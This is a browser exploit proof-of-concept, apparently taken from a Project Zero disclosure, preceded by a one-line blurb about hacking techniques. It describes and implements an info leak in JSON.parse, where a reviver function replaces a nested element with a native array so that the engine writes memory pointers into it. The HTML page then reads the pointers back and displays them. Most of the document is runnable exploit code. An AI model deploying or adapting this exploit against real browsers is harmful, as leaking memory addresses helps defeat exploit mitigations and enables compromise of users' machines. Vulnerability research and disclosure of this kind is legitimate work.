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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=952

There is an info leak in JSON.parse. If this function is called with a reviver, and the reviver modifies the output object to contain a native array, the Walk function assumes that this array is a Var array, and writes pointers to it. These pointers can then be read out of the array by script.

A minimal PoC is as follows:

var once = false;
var a = 1;

function f(){
        if(!once){
		a = new Array(1, 2, 3);
		this[2] = a;
	}
        once = true;
	return {};

}


JSON.parse("[1, 2, [4, 5]]", f);

A full PoC is attached. When loaded in a browser, this PoC will delay pointers in an alert dialog.
-->

<html>
<body>
<script>

var once = false;
var a = 1;


function f(){
        if(!once){
		a = new Array(1, 2, 3);
		this[2] = a;
	}
        once = true;
	//alert("f " + this);
	return {};

}


JSON.parse("[1, 2, [4, 5]]", f);
var n = new Number(a[0]);
n = n >> 1;
var s = n.toString(16);
n = new Number(a[1]);
n = n >> 1;
s = s + n.toString(16);
n.length = 100;
n = new Number(a[2]);
n = n >> 1;
s = s + " " + n.toString(16);
n = new Number(a[3]);
n = n >> 1;
s = s + n.toString(16);
alert(s);
</script>
</body>
</html>